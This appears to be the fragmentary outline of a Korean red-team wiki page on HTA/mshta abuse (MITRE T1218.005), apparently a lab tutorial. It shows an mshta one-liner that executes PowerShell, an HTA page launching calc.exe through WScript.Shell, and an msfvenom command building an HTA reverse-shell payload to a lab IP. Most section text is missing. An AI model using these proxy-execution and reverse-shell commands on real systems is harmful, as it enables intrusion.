HTA
T1218.005
HTA란?

보안적인 측면

실습
기본 HTA 스크립트 예제
Metasploit 예제


대응 방안
레퍼런스
Last updated
T1218.005




Last updated
mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20Hello,%20GROOT!;Start-Sleep%20-Seconds%205"""))</script>'"<html>
<body>
<script>
var c= 'calc.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>┌──(kali㉿kali)-[~/redteam/HTA/unicorn]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.137.131 LPORT=443 -f hta-psh -o groot.hta